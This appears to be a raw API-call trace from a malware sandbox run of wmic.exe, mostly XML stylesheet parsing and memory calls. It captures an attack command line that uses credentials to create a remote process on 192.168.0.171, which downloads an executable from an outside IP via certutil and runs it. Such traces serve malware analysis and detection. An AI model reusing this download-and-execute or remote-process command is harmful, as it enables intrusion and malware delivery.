[0115.852] free (_Block=0x9c2240) [0115.852] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclitableformat", varVal2=0x0)) returned 0x0 [0115.852] malloc (_Size=0xc) returned 0x9c2240 [0115.852] malloc (_Size=0xc) returned 0x9c2258 [0115.852] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.852] SysStringLen (param_1="TABLE") returned 0x5 [0115.852] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.852] SysStringLen (param_1="XML") returned 0x3 [0115.852] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.852] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.852] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.852] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.852] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.852] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.853] malloc (_Size=0x18) returned 0x20eb00 [0115.853] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.853] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.853] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.853] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=13, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.853] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.853] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.853] malloc (_Size=0xc) returned 0x9c2270 [0115.853] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.853] free (_Block=0x9c2270) [0115.853] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclitableformatnosys.xsl", varVal2=0x0)) returned 0x0 [0115.853] malloc (_Size=0xc) returned 0x9c2270 [0115.853] malloc (_Size=0xc) returned 0x9c2288 [0115.853] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.853] SysStringLen (param_1="TABLE") returned 0x5 [0115.853] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.853] SysStringLen (param_1="XML") returned 0x3 [0115.853] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.853] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.853] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.853] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.853] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.853] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.853] malloc (_Size=0x18) returned 0x20eb20 [0115.854] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.854] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.854] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.854] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=14, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.854] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="texttable.xsl") returned 0x0 [0115.854] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.854] malloc (_Size=0xc) returned 0x9c22a0 [0115.854] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.854] free (_Block=0x9c22a0) [0115.854] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclitableformatnosys", varVal2=0x0)) returned 0x0 [0115.854] malloc (_Size=0xc) returned 0x9c22a0 [0115.854] malloc (_Size=0xc) returned 0x9c22b8 [0115.854] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.854] SysStringLen (param_1="TABLE") returned 0x5 [0115.854] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.854] SysStringLen (param_1="XML") returned 0x3 [0115.854] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.854] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.854] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.854] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.854] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.854] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.854] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.855] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0115.855] malloc (_Size=0x18) returned 0x20eb40 [0115.855] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.855] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.855] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.855] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=15, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.855] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="htable.xsl") returned 0x0 [0115.855] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.855] malloc (_Size=0xc) returned 0x9c22d0 [0115.855] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.855] free (_Block=0x9c22d0) [0115.855] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0115.855] malloc (_Size=0xc) returned 0x9c22d0 [0115.855] malloc (_Size=0xc) returned 0x9c22e8 [0115.855] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.855] SysStringLen (param_1="TABLE") returned 0x5 [0115.855] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.855] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.855] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.855] SysStringLen (param_1="XML") returned 0x3 [0115.855] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.855] SysStringLen (param_1="texttablewsys") returned 0xd [0115.855] SysStringLen (param_1="XML") returned 0x3 [0115.855] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.855] malloc (_Size=0x18) returned 0x20eb60 [0115.856] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.856] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.856] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.856] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=16, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.856] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="htable.xsl") returned 0x0 [0115.856] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.856] malloc (_Size=0xc) returned 0x9c2300 [0115.856] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.856] free (_Block=0x9c2300) [0115.856] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0115.856] malloc (_Size=0xc) returned 0x9c2300 [0115.856] malloc (_Size=0xc) returned 0x9c2318 [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.856] SysStringLen (param_1="TABLE") returned 0x5 [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.856] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.856] SysStringLen (param_1="XML") returned 0x3 [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.856] SysStringLen (param_1="texttablewsys") returned 0xd [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.856] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0115.856] SysStringLen (param_1="XML") returned 0x3 [0115.856] SysStringLen (param_1="htable-sortby") returned 0xd [0115.857] malloc (_Size=0x18) returned 0x20eb80 [0115.857] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.857] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.857] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.857] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=17, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.857] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="mof.xsl") returned 0x0 [0115.857] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.857] malloc (_Size=0xc) returned 0x9c2330 [0115.857] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.857] free (_Block=0x9c2330) [0115.857] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0115.857] malloc (_Size=0xc) returned 0x9c2330 [0115.857] malloc (_Size=0xc) returned 0x9c2348 [0115.857] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.857] SysStringLen (param_1="TABLE") returned 0x5 [0115.857] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.857] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.857] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.857] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.857] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.857] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.857] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.857] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.857] malloc (_Size=0x18) returned 0x20eba0 [0115.858] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.858] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.858] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.858] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=18, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.858] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="mof.xsl") returned 0x0 [0115.858] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.858] malloc (_Size=0xc) returned 0x9c2360 [0115.858] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.858] free (_Block=0x9c2360) [0115.858] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0115.858] malloc (_Size=0xc) returned 0x9c2360 [0115.858] malloc (_Size=0xc) returned 0x9c2378 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.858] SysStringLen (param_1="TABLE") returned 0x5 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.858] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.858] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.858] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.858] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0115.858] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.858] SysStringLen (param_1="wmiclimofformat") returned 0xf [0115.859] malloc (_Size=0x18) returned 0x20ebc0 [0115.859] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.859] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.859] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.859] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=19, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.859] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="textvaluelist.xsl") returned 0x0 [0115.859] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.859] malloc (_Size=0xc) returned 0x9c2390 [0115.859] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.859] free (_Block=0x9c2390) [0115.859] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0115.859] malloc (_Size=0xc) returned 0x9c2390 [0115.859] malloc (_Size=0xc) returned 0x9c23a8 [0115.859] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.859] SysStringLen (param_1="TABLE") returned 0x5 [0115.859] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.859] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.859] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.859] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.859] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.859] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.859] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.859] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.859] malloc (_Size=0x18) returned 0x20ebe0 [0115.860] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.860] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.860] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.860] IXMLDOMNodeList:get_item (in: This=0xb58e80, index=20, listItem=0x19f6a8 | out: listItem=0x19f6a8*=0xb54b20) returned 0x0 [0115.860] IXMLDOMNode:get_text (in: This=0xb54b20, text=0x19f6b0 | out: text=0x19f6b0*="textvaluelist.xsl") returned 0x0 [0115.860] IXMLDOMNode:get_attributes (in: This=0xb54b20, attributeMap=0x19f6a4 | out: attributeMap=0x19f6a4*=0xb58cf8) returned 0x0 [0115.860] malloc (_Size=0xc) returned 0x9c23c0 [0115.860] IXMLDOMNamedNodeMap:getNamedItem (in: This=0xb58cf8, name="KEYWORD", namedItem=0x19f6a0 | out: namedItem=0x19f6a0*=0xb58c98) returned 0x0 [0115.860] free (_Block=0x9c23c0) [0115.860] IXMLDOMNode:get_nodeValue (in: This=0xb58c98, value=0x19f64c | out: value=0x19f64c*(varType=0x8, wReserved1=0x20, wReserved2=0x3410, wReserved3=0x20, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0115.860] malloc (_Size=0xc) returned 0x9c23c0 [0115.860] malloc (_Size=0xc) returned 0x9c23d8 [0115.860] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.860] SysStringLen (param_1="TABLE") returned 0x5 [0115.860] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.860] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0115.860] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.860] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0115.860] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.860] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.860] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.860] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0115.860] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0115.861] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0115.861] malloc (_Size=0x18) returned 0x20ec00 [0115.861] IUnknown:Release (This=0xb54b20) returned 0x0 [0115.861] IUnknown:Release (This=0xb58cf8) returned 0x0 [0115.861] IUnknown:Release (This=0xb58c98) returned 0x0 [0115.861] IUnknown:Release (This=0xb58e80) returned 0x0 [0115.861] FreeThreadedDOMDocument:IUnknown:Release (This=0xb58c58) returned 0x1 [0115.861] FreeThreadedDOMDocument:IUnknown:Release (This=0xb54630) returned 0x0 [0115.861] free (_Block=0x203428) [0115.861] GetCommandLineW () returned="wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0115.861] malloc (_Size=0x190) returned 0x20fca8 [0115.861] memcpy_s (in: _Destination=0x20fca8, _DestinationSize=0x18e, _Source=0x4a1976, _SourceSize=0x184 | out: _Destination=0x20fca8) returned 0x0 [0115.861] malloc (_Size=0xc) returned 0x9c23f0 [0115.861] malloc (_Size=0xc) returned 0x9c2408 [0115.861] malloc (_Size=0xc) returned 0x9c2420 [0115.861] malloc (_Size=0xc) returned 0x9c2460 [0115.861] malloc (_Size=0x80) returned 0x9c04a0 [0115.861] GetLocalTime (in: lpSystemTime=0x19f658 | out: lpSystemTime=0x19f658*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x36, wMilliseconds=0x245)) [0115.861] _vsnwprintf (in: _Buffer=0x9c04a0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x19f638 | out: _Buffer="01-14-2020T01:41:54") returned 19 [0115.861] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.861] malloc (_Size=0x17e) returned 0x20fe40 [0115.861] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.861] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.861] malloc (_Size=0x17e) returned 0x9c2848 [0115.862] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.862] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.862] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.862] malloc (_Size=0x4) returned 0x203428 [0115.862] lstrlenW (lpString="/") returned 1 [0115.862] malloc (_Size=0x4) returned 0x20ffc8 [0115.862] malloc (_Size=0x4) returned 0x20ffd8 [0115.862] free (_Block=0x0) [0115.862] free (_Block=0x203428) [0115.862] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.862] malloc (_Size=0x26) returned 0x9c29d0 [0115.862] malloc (_Size=0xa) returned 0x9c2478 [0115.862] lstrlenW (lpString="ASSOC") returned 5 [0115.862] lstrlenW (lpString="node") returned 4 [0115.862] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0115.862] lstrlenW (lpString="FORMAT") returned 6 [0115.862] lstrlenW (lpString="node") returned 4 [0115.862] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="FORMAT", cchCount2=6) returned 3 [0115.862] free (_Block=0x9c2478) [0115.862] lstrlenW (lpString="/") returned 1 [0115.862] lstrlenW (lpString="/") returned 1 [0115.862] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0115.862] free (_Block=0x0) [0115.862] lstrlenW (lpString="node") returned 4 [0115.862] _wcsicmp (_String1="node", _String2="\"NULL\"") returned 76 [0115.862] malloc (_Size=0xa) returned 0x9c2478 [0115.862] lstrlenW (lpString="node") returned 4 [0115.862] malloc (_Size=0x8) returned 0x203428 [0115.862] memmove_s (in: _Destination=0x203428, _DestinationSize=0x4, _Source=0x20ffd8, _SourceSize=0x4 | out: _Destination=0x203428) returned 0x0 [0115.862] free (_Block=0x20ffd8) [0115.862] malloc (_Size=0x4) returned 0x20ffd8 [0115.862] malloc (_Size=0xc) returned 0x9c2490 [0115.862] memmove_s (in: _Destination=0x9c2490, _DestinationSize=0x8, _Source=0x203428, _SourceSize=0x8 | out: _Destination=0x9c2490) returned 0x0 [0115.862] free (_Block=0x203428) [0115.862] lstrlenW (lpString="192.168.0.171") returned 13 [0115.862] _wcsicmp (_String1="192.168.0.171", _String2="\"NULL\"") returned 15 [0115.862] malloc (_Size=0x1c) returned 0x9c2a00 [0115.862] malloc (_Size=0x10) returned 0x9c24a8 [0115.862] memmove_s (in: _Destination=0x9c24a8, _DestinationSize=0xc, _Source=0x9c2490, _SourceSize=0xc | out: _Destination=0x9c24a8) returned 0x0 [0115.862] free (_Block=0x9c2490) [0115.863] free (_Block=0x0) [0115.863] free (_Block=0x9c29d0) [0115.863] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.863] malloc (_Size=0x4) returned 0x203428 [0115.863] lstrlenW (lpString="/") returned 1 [0115.863] malloc (_Size=0x4) returned 0x9c29d0 [0115.863] malloc (_Size=0x18) returned 0x20ec20 [0115.863] memmove_s (in: _Destination=0x20ec20, _DestinationSize=0x10, _Source=0x9c24a8, _SourceSize=0x10 | out: _Destination=0x20ec20) returned 0x0 [0115.863] free (_Block=0x9c24a8) [0115.863] free (_Block=0x0) [0115.863] free (_Block=0x203428) [0115.863] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.863] malloc (_Size=0x22) returned 0x9c2a28 [0115.863] malloc (_Size=0xa) returned 0x9c24a8 [0115.863] lstrlenW (lpString="ASSOC") returned 5 [0115.863] lstrlenW (lpString="user") returned 4 [0115.863] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0115.863] lstrlenW (lpString="FORMAT") returned 6 [0115.863] lstrlenW (lpString="user") returned 4 [0115.863] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="user", cchCount1=4, lpString2="FORMAT", cchCount2=6) returned 3 [0115.863] free (_Block=0x9c24a8) [0115.863] lstrlenW (lpString="/") returned 1 [0115.863] lstrlenW (lpString="/") returned 1 [0115.863] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0115.863] free (_Block=0x0) [0115.863] lstrlenW (lpString="user") returned 4 [0115.863] _wcsicmp (_String1="user", _String2="\"NULL\"") returned 83 [0115.863] malloc (_Size=0xa) returned 0x9c24a8 [0115.863] lstrlenW (lpString="user") returned 4 [0115.863] malloc (_Size=0x4) returned 0x203428 [0115.863] malloc (_Size=0x24) returned 0x9c2a58 [0115.863] memmove_s (in: _Destination=0x9c2a58, _DestinationSize=0x18, _Source=0x20ec20, _SourceSize=0x18 | out: _Destination=0x9c2a58) returned 0x0 [0115.863] free (_Block=0x20ec20) [0115.863] lstrlenW (lpString="5p5NrGJn0jS") returned 11 [0115.863] _wcsicmp (_String1="5p5NrGJn0jS", _String2="\"NULL\"") returned 19 [0115.863] malloc (_Size=0x18) returned 0x20ec20 [0115.863] free (_Block=0x0) [0115.863] free (_Block=0x9c2a28) [0115.863] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.863] malloc (_Size=0x12) returned 0x20ec40 [0115.863] lstrlenW (lpString="HALPmcxz") returned 8 [0115.864] _wcsicmp (_String1="HALPmcxz", _String2="\"NULL\"") returned 70 [0115.864] malloc (_Size=0x12) returned 0x20ec60 [0115.864] free (_Block=0x0) [0115.864] free (_Block=0x20ec40) [0115.864] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.864] malloc (_Size=0x4) returned 0x9c29e0 [0115.864] lstrlenW (lpString="/") returned 1 [0115.864] malloc (_Size=0x4) returned 0x9c29f0 [0115.864] malloc (_Size=0x34) returned 0x9c2a88 [0115.864] memmove_s (in: _Destination=0x9c2a88, _DestinationSize=0x24, _Source=0x9c2a58, _SourceSize=0x24 | out: _Destination=0x9c2a88) returned 0x0 [0115.864] free (_Block=0x9c2a58) [0115.864] free (_Block=0x0) [0115.864] free (_Block=0x9c29e0) [0115.864] lstrlenW (lpString=" /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 190 [0115.864] malloc (_Size=0x26) returned 0x9c2a28 [0115.864] malloc (_Size=0x12) returned 0x20ec40 [0115.864] lstrlenW (lpString="ASSOC") returned 5 [0115.864] lstrlenW (lpString="password") returned 8 [0115.864] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="password", cchCount1=8, lpString2="ASSOC", cchCount2=5) returned 3 [0115.864] lstrlenW (lpString="FORMAT") returned 6 [0115.864] lstrlenW (lpString="password") returned 8 [0115.864] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="password", cchCount1=8, lpString2="FORMAT", cchCount2=6) returned 3 [0115.864] free (_Block=0x20ec40) [0115.864] lstrlenW (lpString="/") returned 1 [0115.864] lstrlenW (lpString="/") returned 1 [0115.864] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0115.864] free (_Block=0x0) [0115.864] lstrlenW (lpString="password") returned 8 [0115.864] _wcsicmp (_String1="password", _String2="\"NULL\"") returned 78 [0115.864] malloc (_Size=0x12) returned 0x20ec40 [0115.864] lstrlenW (lpString="password") returned 8 [0115.864] malloc (_Size=0x4) returned 0x9c29e0 [0115.864] lstrlenW (lpString="6mnH7CdKK") returned 9 [0115.864] _wcsicmp (_String1="6mnH7CdKK", _String2="\"NULL\"") returned 20 [0115.864] malloc (_Size=0x14) 